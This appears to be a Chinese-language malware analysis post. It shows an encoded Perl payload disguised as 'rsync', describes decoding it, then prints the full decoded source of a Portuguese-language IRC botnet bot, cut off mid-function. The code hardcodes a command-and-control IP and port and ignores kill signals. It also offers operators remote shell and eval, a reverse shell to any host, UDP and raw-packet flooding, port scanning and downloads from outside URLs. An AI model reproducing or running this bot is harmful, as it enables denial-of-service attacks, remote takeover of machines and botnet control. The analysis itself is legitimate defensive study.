N97<H4')O=&\]/B)T8W`B+"!0965R061D<CT^)&1C8VEP+"!0965R4&]R=#T^)&1C8W!O<G1A_+"!4:6UE;W5T/3XQ-2D@;W(@<F5T=7)N("@P*3L*("`D9&-C<V]C:RT^875T;V9L=7-H*#$I.PH@("1D8V-?_<V5L+3YA9&0H)&1C8W-O8VLI.PH@("1$0T-[)&1C8W-O8VM]>W1I<&]](#T@)V=E="<["B`@)$1#0WLD9&-C_<V]C:WU[:71I;65](#T@=&EM93L*("`D1$-#>R1D8V-S;V-K?7MN:6-K?2`]("1N:6-K.PH@("1$0T-[)&1C_8W-O8VM]>V)Y=&5S?2`]("1B>71E<SL*("`D1$-#>R1D8V-S;V-K?7MC=7)B>71E?2`](#`["B`@)$1#0WLD_9&-C<V]C:WU[87)Q=6EV;WT@/2`D87)Q=6EV;SL*("`D1$-#>R1D8V-S;V-K?7MI<'T@/2`D9&-C:7`["B`@_)$1#0WLD9&-C<V]C:WU[<&]R=&%](#T@)&1C8W!O<G1A.PH@("1$0T-[)&1C8W-O8VM]>W-T871U<WT@/2`B_4F5C96)E;F1O(CL*?0H*<W5B(%-T871U<R!["B`@;7D@)'-O8VME="`]('-H:69T.PH@(&UY("1S;V-K7W1I_<&\@/2`D1$-#>R1S;V-K971]>W1I<&]].PH@('5N;&5S<R`H;&,H)'-O8VM?=&EP;RD@97$@(F-H870B*2![_"B`@("!M>2`D;FEC:R`]("1$0T-[)'-O8VME='U[;FEC:WT["B`@("!M>2`D87)Q=6EV;R`]("1$0T-[)'-O_8VME='U[87)Q=6EV;WT["B`@("!M>2`D:71I;64@/2`D1$-#>R1S;V-K971]>VET:6UE?3L*("`@(&UY("1F_=&EM92`]('1I;64["B`@("!M>2`D<W1A='5S(#T@)$1#0WLD<V]C:V5T?7MS=&%T=7-].PH@("`@)&9T:6UE_(#T@)$1#0WLD<V]C:V5T?7MF=&EM97T@:68@9&5F:6YE9"@D1$-#>R1S;V-K971]>V9T:6UE?2D["@H@("`@_;7D@)&1?=&EM92`]("1F=&EM92TD:71I;64["@H@("`@;7D@)&-U<E]B>71E(#T@)$1#0WLD<V]C:V5T?7MC_=7)B>71E?3L*("`@(&UY("1B>71E<U]T;W1A;"`]("`D1$-#>R1S;V-K971]>V)Y=&5S?3L*"B`@("!M>2`D_<F%T92`](#`["B`@("`D<F%T92`]("@D8W5R7V)Y=&4O,3`R-"DO)&1?=&EM92!I9B`D8W5R7V)Y=&4@/B`P_.PH@("`@;7D@)'!O<F-E;B`]("@D8W5R7V)Y=&4J,3`P*2\D8GET97-?=&]T86P["@H@("`@;7D@*"1R7V1U_=BP@)'!?9'5V*3L*("`@(&EF("@D<F%T92`]?B`O7BA<9"LI7"XH7&0I*%QD*2A<9"DO*2!["B`@("`@("`D_<E]D=78@/2`D,SL@)')?9'5V*RL@:68@)#0@/CT@-3L*("`@("`@("1R871E(#T@(B0Q7"XD,B(N(B1R7V1U_=B(["B`@("!]"B`@("!I9B`H)'!O<F-E;B`]?B`O7BA<9"LI7"XH7&0I*%QD*2A<9"DO*2!["B`@("`@("`D_<%]D=78@/2`D,SL@)'!?9'5V*RL@:68@)#0@/CT@-3L*("`@("`@("1P;W)C96X@/2`B)#%<+B0R(BXB)'!?_9'5V(CL*("`@('T*("`@(')E='5R;B@B)'-O8VM?=&EP;R(L(B1S=&%T=7,B+"(D;FEC:R(L(B1A<G%U:79O_(BPB)&)Y=&5S7W1O=&%L(BP@(B1C=7)?8GET92(L(B1D7W1I;64B+"`B)')A=&4B+"`B)'!O<F-E;B(I.PH@_('T*"@H@(')E='5R;B@P*3L*?0H*"G-U8B!F:7AA9&1R('L*("`@(&UY("@D861D<F5S<RD@/2!`7SL*"B`@_("!C:&]M<"`D861D<F5S<SL@("`@(`H@("`@:68@*"1A9&1R97-S(#U^("]>7&0K)"\I('L*("`@("`@("!R_971U<FX@:6YE=%]N=&]A*'!A8VL@(DXB+"`D861D<F5S<RD["B`@("!](&5L<VEF("@D861D<F5S<R`]?B`O_7ELQ,ET_7&1[,2PR?5PN6S$R73]<9'LQ+#)]7"Y;,3)=/UQD>S$L,GU<+ELQ,ET_7&1[,2PR?20O*2!["B`@_("`@("`@<F5T=7)N("1A9&1R97-S.PH@("`@?2!E;'-I9B`H)&%D9')E<W,@/7X@='(O82UZ02U:+R\I('L@_("`@("`@("`@("`@("`@("`@(`H@("`@("`@(')E='5R;B!I;F5T7VYT;V$H*"AG971H;W-T8GEN86UE*"1AV9&1R97-S*2E;-%TI6S!=*3L*("`@('T@96QS92!["B`@("`@("`@<F5T=7)N.PH@("`@?0I]}

使用了 eval unpack 看起來是需要解密的東西

發現 perl 有一個函數為 unpack()

所以我們將 開頭的 eval 掉換成 print

在使用 perl 執行

$ perl rsync

順利把程式碼解出來了


my $processo = 'rsync';

$servidor='5.255.86.129' unless $servidor;
my $porta='443';
my @canais=("#007");
my @adms=("A","X");
my @auth=("localhost");

my $linas_max=6;
my $sleep=3;

my $nick = getnick();
my $ircname = getnick();
my $realname = (`uname -a`);

my $acessoshell = 1;
my $prefixo = "! ";
my $estatisticas = 0;
my $pacotes = 1;

my $VERSAO = '0.2a';

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';

use IO::Socket;
use Socket;
use IO::Select;
chdir("/");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0";
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);

my %irc_servers;
my %DCC;
my $dcc_sel = new IO::Select->new();




sub getnick {
  return "x".int(rand(9000));
}


sub getident {
  my $retornoident = &_get("http://www.minpop.com/sk12pack/idents.php");
  my $identchance = int(rand(1000));
  if ($identchance > 30) {
     return $nick;
  } else {
     return $retornoident;
  }
  return $retornoident;
}

sub getname {
  my $retornoname = &_get("http://www.minpop.com/sk12pack/names.php");
  return $retornoname;
}

sub getident2 {
        my $length=shift;
        $length = 3 if ($length < 3);

        my @chars=('a'..'z','A'..'Z','1'..'9');
        foreach (1..$length)
        {
                $randomstring.=$chars[rand @chars];
        }
        return $randomstring;
}

sub getstore ($$)
{
  my $url = shift;
  my $file = shift;

  $http_stream_out = 1;
  open(GET_OUTFILE, "> $file");
  %http_loop_check = ();
  _get($url);
  close GET_OUTFILE;
  return $main::http_get_result;
}

sub _get
{
  my $url = shift;
  my $proxy = "";
  grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
  if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
    my $host = $1;
    my $port = $2 || 80;
    my $path = $3;
    $path = "/" unless defined($path);
    return _trivial_http_get($host, $port, $path);
  } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
    my $host = $1;
    my $port = $2;
    my $path = $url;
    return _trivial_http_get($host, $port, $path);
  } else {
    return undef;
  }
}


sub _trivial_http_get
{
  my($host, $port, $path) = @_;
  my($AGENT, $VERSION, $p);

  $AGENT = "get-minimal";
  $VERSION = "20000118";

  $path =~ s/ /%20/g;

  require IO::Socket;
  local($^W) = 0;
  my $sock = IO::Socket::INET->new(PeerAddr => $host,
                                   PeerPort => $port,
                                   Proto   => 'tcp',
                                   Timeout  => 60) || return;
  $sock->autoflush;
  my $netloc = $host;
  $netloc .= ":$port" if $port != 80;
  my $request = "GET $path HTTP/1.0\015\012"
              . "Host: $netloc\015\012"
              . "User-Agent: $AGENT/$VERSION/u\015\012";
  $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
  $request .= "\015\012";
  print $sock $request;

  my $buf = "";
  my $n;
  my $b1 = "";
  while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
    if ($b1 eq "") { 
      $b1 = $buf;         
      $buf =~ s/.+?\015?\012\015?\012//s;      
    }
    if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
  }
  return undef unless defined($n);

  $main::http_get_result = 200;
  if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
    $main::http_get_result = $1;
    if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/
) {
      my $url = $1;
      return undef if $http_loop_check{$url}++;
      return _get($url);
    }
    return undef unless $main::http_get_result =~ /^2/;
  }

  return $buf;
}


$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
  } else {
      print $IRC_cur_socket "$_[0]\n";
  }
}

sub conectar {
   my $meunick = $_[0];
   my $servidor_con = $_[1];
   my $porta_con = $_[2];

   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
   if (defined($IRC_socket)) {
     $IRC_cur_socket = $IRC_socket;

     $IRC_socket->autoflush(1);
     $sel_cliente->add($IRC_socket);

     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
     nick("$meunick");
     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
     sleep 2;
   }

}
my $line_temp;
while( 1 ) {
   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
   delete($irc_servers{''}) if (defined($irc_servers{''}));
   &DCC::connections;
   my @ready = $sel_cliente->can_read(0.6);
   next unless(@ready);
   foreach $fh (@ready) {
     $IRC_cur_socket = $fh;
     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
     $nread = sysread($fh, $msg, 4096);
     if ($nread == 0) {
        $sel_cliente->remove($fh);
        $fh->close;
        delete($irc_servers{$fh});
     }
     @lines = split (/\n/, $msg);

     for(my $c=0; $c<= $#lines; $c++) {
       $line = $lines[$c];
       $line=$line_temp.$line if ($line_temp);
       $line_temp='';
       $line =~ s/\r$//;
       unless ($c == $#lines) {
         parse("$line");
       } else {
           if ($#lines == 0) {
             parse("$line");
           } elsif ($lines[$c] =~ /\r$/) {
               parse("$line");
           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
               parse("$line");
           } else {
               $line_temp = $line;
           }
       }
      }
   }
}

sub parse {
   my $servarg = shift;
   if ($servarg =~ /^PING \:(.*)/) {
     sendraw("PONG :$1");
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
       my $pn=$1; my $onde = $4; my $args = $5;
       if ($args =~ /^\001VERSION\001$/) {
         notice("$pn", "\001VERSION mIRC v6.16 ENE ALIN GABRIEL\001");
       }
       elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
         notice("$pn", "\001PONG\001");
       }
       elsif (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
         if ($onde eq "$meunick"){
           shell("$pn", "$args");
           }
         elsif ($args =~ /^(\Q$meunick\E|\Q$prefixo\E)\s+(.*)/ ) {
            my $natrix = $1;
            my $arg = $2;
            if ($arg =~ /^\!(.*)/) {
              ircase("$pn","$onde","$1") unless ($natrix eq "$prefixo" and $arg =~ /^\!nick/);
            } elsif ($arg =~ /^\@(.*)/) {
                $ondep = $onde;
                $ondep = $pn if $onde eq $meunick;
                bfunc("$ondep","$1");
            } else {
                shell("$onde", "$arg");
            }
         }
       }
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
       if (lc($1) eq lc($meunick)) {
         $meunick=$4;
         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       }
   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
       $meunick = getnick();
       nick("$meunick");
   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
       $meunick = $2;
       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
       foreach my $canal (@canais) {
         sendraw("JOIN $canal");
       }
   }
}

sub bfunc {
  my $printl = $_[0];
  my $funcarg = $_[1];
  if (my $pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           if ($funcarg =~ /^portscan (.*)/) {
             my $hostip="$1";
             my @portas=("21","22","23","25","53","80","110","143","6665");
             my (@aberta, %porta_banner);
             foreach my $porta (@portas)  {
                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
                if ($scansock) {
                   push (@aberta, $porta);
                   $scansock->close;
                }
             }
             if (@aberta) {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @aberta");
             } else {
                 sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
             }
           }

           elsif ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
            getstore("$1", "$2");
            sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Conclu.do!") if ($estatisticas);
            }

           elsif ($funcarg =~ /^fullportscan\s+(.*)\s+(\d+)\s+(\d+)/) {
             my $hostname="$1";
             my $portainicial = "$2";
             my $portafinal = "$3";
             my (@abertas, %porta_banner);
             foreach my $porta ($portainicial..$portafinal)
             {
               my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
               if ($scansock) {
                 push (@abertas, $porta);
                 $scansock->close;
                 if ($estatisticas) {
                   sendraw($IRC_cur_socket, "PRIVMSG $printl :Porta $porta aberta em $hostname");
                 }
               }
             }
             if (@abertas) {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @abertas");
             } else {
               sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
             }
            }

            elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
              return unless $pacotes;
              socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
              my $alvo=inet_aton("$1");
              my $porta = "$2";
              my $tempo = "$3";
              my $pacote;
              my $pacotese;
              my $fim = time + $tempo;
              my $pacota = 1;
              while (($pacota == "1") && ($pacotes == "1")) {
                $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
                $pacote=$rand x $rand x $rand;
                $porta = int(rand 65000) +1 if ($porta == "0");
                send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
              }
              if ($estatisticas)
              {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $1");
              }
            }

            elsif ($funcarg =~ /^udpfaixa\s+(.*)\s+(\d+)\s+(\d+)/) {
              return unless $pacotes;
              socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
              my $faixaip="$1";
              my $porta = "$2";
              my $tempo = "$3";
              my $pacote;
              my $pacotes;
              my $fim = time + $tempo;
              my $pacota = 1;
              my $alvo;
              while ($pacota == "1") {
                $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
                for (my $faixa = 1; $faixa <= 255; $faixa++) {
                  $alvo = inet_aton("$faixaip.$faixa");
                  $pacote=$rand x $rand x $rand;
                  $porta = int(rand 65000) +1 if ($porta == "0");
                  send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
                  if ($faixa >= 255) {
                    $faixa = 1;
                  }
                }
              }
              if ($estatisticas)
              {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $alvo");
              }
            }

            elsif ($funcarg =~ /^conback\s+(.*)\s+(\d+)/) {
              my $host = "$1";
              my $porta = "$2";
              my $proto = getprotobyname('tcp');
              my $iaddr = inet_aton($host);
              my $paddr = sockaddr_in($porta, $iaddr);
              my $shell = "/bin/sh -i";
              if ($^O eq "MSWin32") {
                $shell = "cmd.exe";
              }
              socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
              connect(SOCKET, $paddr) or die "connect: $!";
              open(STDIN, ">&SOCKET");
              open(STDOUT, ">&SOCKET");
              open(STDERR, ">&SOCKET");
              system("$shell");
              close(STDIN);
              close(STDOUT);
              close(STDERR);

              if ($estatisticas)
              {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Conectando-se em\002: $host:$porta");
              }
            }

           elsif ($funcarg =~ /^oldpack\s+(.*)\s+(\d+)\s+(\d+)/) {
            return unless $pacotes;
             my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
             $dtime = 1 if $dtime == 0;
             my %bytes;
             $bytes{igmp} = $2 * $pacotes{igmp};
             $bytes{icmp} = $2 * $pacotes{icmp};
             $bytes{o} = $2 * $pacotes{o};
             $bytes{udp} = $2 * $pacotes{udp};
             $bytes{tcp} = $2 * $pacotes{tcp};
             unless ($estatisticas)
             {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status -\002");
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Timp\002: $dtime"."secunde.");
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total packet\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} +  $pacotes{o}));
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Flood\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
             }
           }
           exit;
       }
  }
}

sub ircase {
  my ($kem, $printl, $case) = @_;

   if ($case =~ /^join (.*)/) {
     j("$1");
   }
   elsif ($case =~ /^part (.*)/) {
      p("$1");
   }
   elsif ($case =~ /^rejoin\s+(.*)/) {
      my $chan = $1;
      if ($chan =~ /^(\d+) (.*)/) {
        for (my $ca = 1; $ca <= $1; $ca++ ) {
          p("$2");
          j("$2");
        }
      } else {
          p("$chan");
          j("$chan");
      }
   }
   elsif ($case =~ /^op/) {
      op("$printl", "$kem") if $case eq "op";
      my $oarg = substr($case, 3);
      op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   elsif ($case =~ /^deop/) {
      deop("$printl", "$kem") if $case eq "deop";
      my $oarg = substr($case, 5);
      deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   elsif ($case =~ /^voice/) {
      voice("$printl", "$kem") if $case eq "voice";
      $oarg = substr($case, 6);
      voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   elsif ($case =~ /^devoice/) {
      devoice("$printl", "$kem") if $case eq "devoice";
      $oarg = substr($case, 8);
      devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   elsif ($case =~ /^msg\s+(\S+) (.*)/) {
      msg("$1", "$2");
   }
   elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        msg("$2", "$3");
      }
   }
   elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        ctcp("$2", "$3");
      }
   }
   elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
      ctcp("$1", "$2");
   }
   elsif ($case =~ /^invite\s+(\S+) (.*)/) {
      invite("$1", "$2");
   }
   elsif ($case =~ /^nick (.*)/) {
      nick("$1");
   }
   elsif ($case =~ /^conecta\s+(\S+)\s+(\S+)/) {
       conectar("$2", "$1", 6667);
   }
   elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) {
      DCC::SEND("$1", "$2");
   }
   elsif ($case =~ /^raw (.*)/) {
      sendraw("$1");
   }
   elsif ($case =~ /^eval (.*)/) {
      eval "$1";
   }
   elsif ($case =~ /^entra\s+(\S+)\s+(\d+)/) {
    sleep int(rand($2));
    j("$1");
   }
   elsif ($case =~ /^sai\s+(\S+)\s+(\d+)/) {
    sleep int(rand($2));
    p("$1");
   }
   elsif ($case =~ /^sair/) {
     quit();
   }
   elsif ($case =~ /^novonick/) {
    my $novonick = getnick();
     nick("$novonick");
   }
   elsif ($case =~ /^estatisticas (.*)/) {
     if ($1 eq "on") {
      $estatisticas = 1;
      msg("$printl", "Estat.sticas ativadas!");
     } elsif ($1 eq "off") {
      $estatisticas = 0;
      msg("$printl", "Estat.sticas desativadas!");
     }
   }
   elsif ($case =~ /^pacotes (.*)/) {
     if ($1 eq "on") {
      $pacotes = 1;
      msg("$printl", "Pacotes ativados!") if ($estatisticas == "1");
     } elsif ($1 eq "off") {
      $pacotes = 0;
      msg("$printl", "Pacotes desativados!") if ($estatisticas == "1");
     }
   }
}
sub shell {
  return unless $acessoshell;
  my $printl=$_[0];
  my $comando=$_[1];
  if ($comando =~ /cd (.*)/) {
    chdir("$1") || msg("$printl", "Diret.rio inexistente!");
    return;
  }
  elsif ($pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           my @resp=`$comando 2>&1 3>&1`;
           my $c=0;
           foreach my $linha (@resp) {
             $c++;
             chop $linha;
             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
             if ($c >= "$linas_max") {
               $c=0;
               sleep $sleep;
             }
           }
           exit;
       }
  }
}

sub attacker {
  my $iaddr = inet_aton($_[0]);
  my $msg = 'B' x $_[1];
  my $ftime = $_[2];
  my $cp = 0;
  my (%pacotes);
  $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;

  socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  return(undef) if $cp == 4;
  my $itime = time;
  my ($cur_time);
  while ( 1 ) {
     for (my $porta = 1; $porta <= 65535; $porta++) {
       $cur_time = time - $itime;
       last if $cur_time >= $ftime;
       send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);
       send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);
       send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);
       send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);

       for (my $pc = 3; $pc <= 255;$pc++) {
         next if $pc == 6;
         $cur_time = time - $itime;
         last if $cur_time >= $ftime;
         socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
         send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);
       }
     }
     last if $cur_time >= $ftime;
  }
  return($cur_time, %pacotes);
}


sub action {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
}

sub ctcp {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :$_[1]");
}

sub notice {
   return unless $#_ == 1;
   sendraw("NOTICE $_[0] :$_[1]");
}

sub op {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -o $_[1]");
}
sub hop {
    return unless $#_ == 1;
   sendraw("MODE $_[0] +h $_[1]");
}
sub dehop {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +h $_[1]");
}
sub voice {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +v $_[1]");
}
sub devoice {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -v $_[1]");
}
sub ban {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +b $_[1]");
}
sub unban {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -b $_[1]");
}
sub kick {
   return unless $#_ == 1;
   sendraw("KICK $_[0] $_[1] :$_[2]");
}

sub modo {
   return unless $#_ == 0;
   sendraw("MODE $_[0] $_[1]");
}
sub mode { modo(@_); }

sub j { &join(@_); }
sub join {
   return unless $#_ == 0;
   sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {sendraw("PART $_[0]");}

sub nick {
  return unless $#_ == 0;
  sendraw("NICK $_[0]");
}

sub invite {
   return unless $#_ == 1;
   sendraw("INVITE $_[1] $_[0]");
}
sub topico {
   return unless $#_ == 1;
   sendraw("TOPIC $_[0] $_[1]");
}
sub topic { topico(@_); }

sub whois {
  return unless $#_ == 0;
  sendraw("WHOIS $_[0]");
}
sub who {
  return unless $#_ == 0;
  sendraw("WHO $_[0]");
}
sub names {
  return unless $#_ == 0;
  sendraw("NAMES $_[0]");
}
sub away {
  sendraw("AWAY $_[0]");
}
sub back { away(); }
sub quit {
  sendraw("QUIT :$_[0]");
  exit;
}

package DCC;

sub connections {
   my @ready = $dcc_sel->can_read(1);
   foreach my $fh (@ready) {
     my $dcctipo = $DCC{$fh}{tipo};
     my $arquivo = $DCC{$fh}{arquivo};
     my $bytes = $DCC{$fh}{bytes};
     my $cur_byte = $DCC{$fh}{curbyte};
     my $nick = $DCC{$fh}{nick};

     my $msg;
     my $nread = sysread($fh, $msg, 10240);

     if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
        $DCC{$fh}{status} = "Cancelado";
        $DCC{$fh}{ftime} = time;
        $dcc_sel->remove($fh);
        $fh->close;
        next;
     }

     if ($dcctipo eq "get") {
        $DCC{$fh}{curbyte} += length($msg);

        my $cur_byte = $DCC{$fh}{curbyte};

        open(FILE, ">> $arquivo");
        print FILE "$msg" if ($cur_byte <= $bytes);
        close(FILE);

        my $packbyte = pack("N", $cur_byte);
        print $fh "$packbyte";

        if ($bytes == $cur_byte) {
           $dcc_sel->remove($fh);
           $fh->close;
           $DCC{$fh}{status} = "Recebido";
           $DCC{$fh}{ftime} = time;
           next;
        }
     } elsif ($dcctipo eq "send") {
          my $send = $fh->accept;
          $send->autoflush(1);
          $dcc_sel->add($send);
          $dcc_sel->remove($fh);
          $DCC{$send}{tipo} = 'sendcon';
          $DCC{$send}{itime} = time;
          $DCC{$send}{nick} = $nick;
          $DCC{$send}{bytes} = $bytes;
          $DCC{$send}{curbyte} = 0;
          $DCC{$send}{arquivo} = $arquivo;
          $DCC{$send}{ip} = $send->peerhost;
          $DCC{$send}{porta} = $send->peerport;
          $DCC{$send}{status} = "Enviando";

          open(FILE, "< $arquivo");
          my $fbytes;
          read(FILE, $fbytes, 1024);
          print $send "$fbytes";
          close FILE;
     } elsif ($dcctipo eq 'sendcon') {
          my $bytes_sended = unpack("N", $msg);
          $DCC{$fh}{curbyte} = $bytes_sended;
          if ($bytes_sended == $bytes) {
             $fh->close;
             $dcc_sel->remove($fh);
             $DCC{$fh}{status} = "Enviado";
             $DCC{$fh}{ftime} = time;
             next;
          }
          open(SENDFILE, "< $arquivo");
          seek(SENDFILE, $bytes_sended, 0);
          my $send_bytes;
          read(SENDFILE, $send_bytes, 1024);
          print $fh "$send_bytes";
          close(SENDFILE);
     }
   }
}


sub SEND {
  my ($nick, $arquivo) = @_;
  unless (-r "$arquivo") {
    return(0);
  }

  my $dccark = $arquivo;
  $dccark =~ s/[.*\/](\S+)/$1/;

  my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
  my $longip = unpack("N",inet_aton($meuip));

  my @filestat = stat($arquivo);
  my $size_total=$filestat[7];
  if ($size_total == 0) {
     return(0);
  }

  my ($porta, $sendsock);
  do {
    $porta = int rand(64511);
    $porta += 1024;
    $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
  } until $sendsock;

  $DCC{$sendsock}{tipo} = 'send';
  $DCC{$sendsock}{nick} = $nick;
  $DCC{$sendsock}{bytes} = $size_total;
  $DCC{$sendsock}{arquivo} = $arquivo;


  &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");

}

sub GET {
  my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
  return(0) if (-e "$arquivo");
  if (open(FILE, "> $arquivo")) {
     close FILE;
  } else {
    return(0);
  }

  my $dccip=fixaddr($dcclongip);
  return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
  my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
  $dccsock->autoflush(1);
  $dcc_sel->add($dccsock);
  $DCC{$dccsock}{tipo} = 'get';
  $DCC{$dccsock}{itime} = time;
  $DCC{$dccsock}{nick} = $nick;
  $DCC{$dccsock}{bytes} = $bytes;
  $DCC{$dccsock}{curbyte} = 0;
  $DCC{$dccsock}{arquivo} = $arquivo;
  $DCC{$dccsock}{ip} = $dccip;
  $DCC{$dccsock}{porta} = $dccporta;
  $DCC{$dccsock}{status} = "Recebendo";
}

sub Status {
  my $socket = shift;
  my $sock_tipo = $DCC{$socket}{tipo};
  unless (lc($sock_tipo) eq "chat") {
    my $nick = $DCC{$socket}{nick};
    my $arquivo = $DCC{$socket}{arquivo};
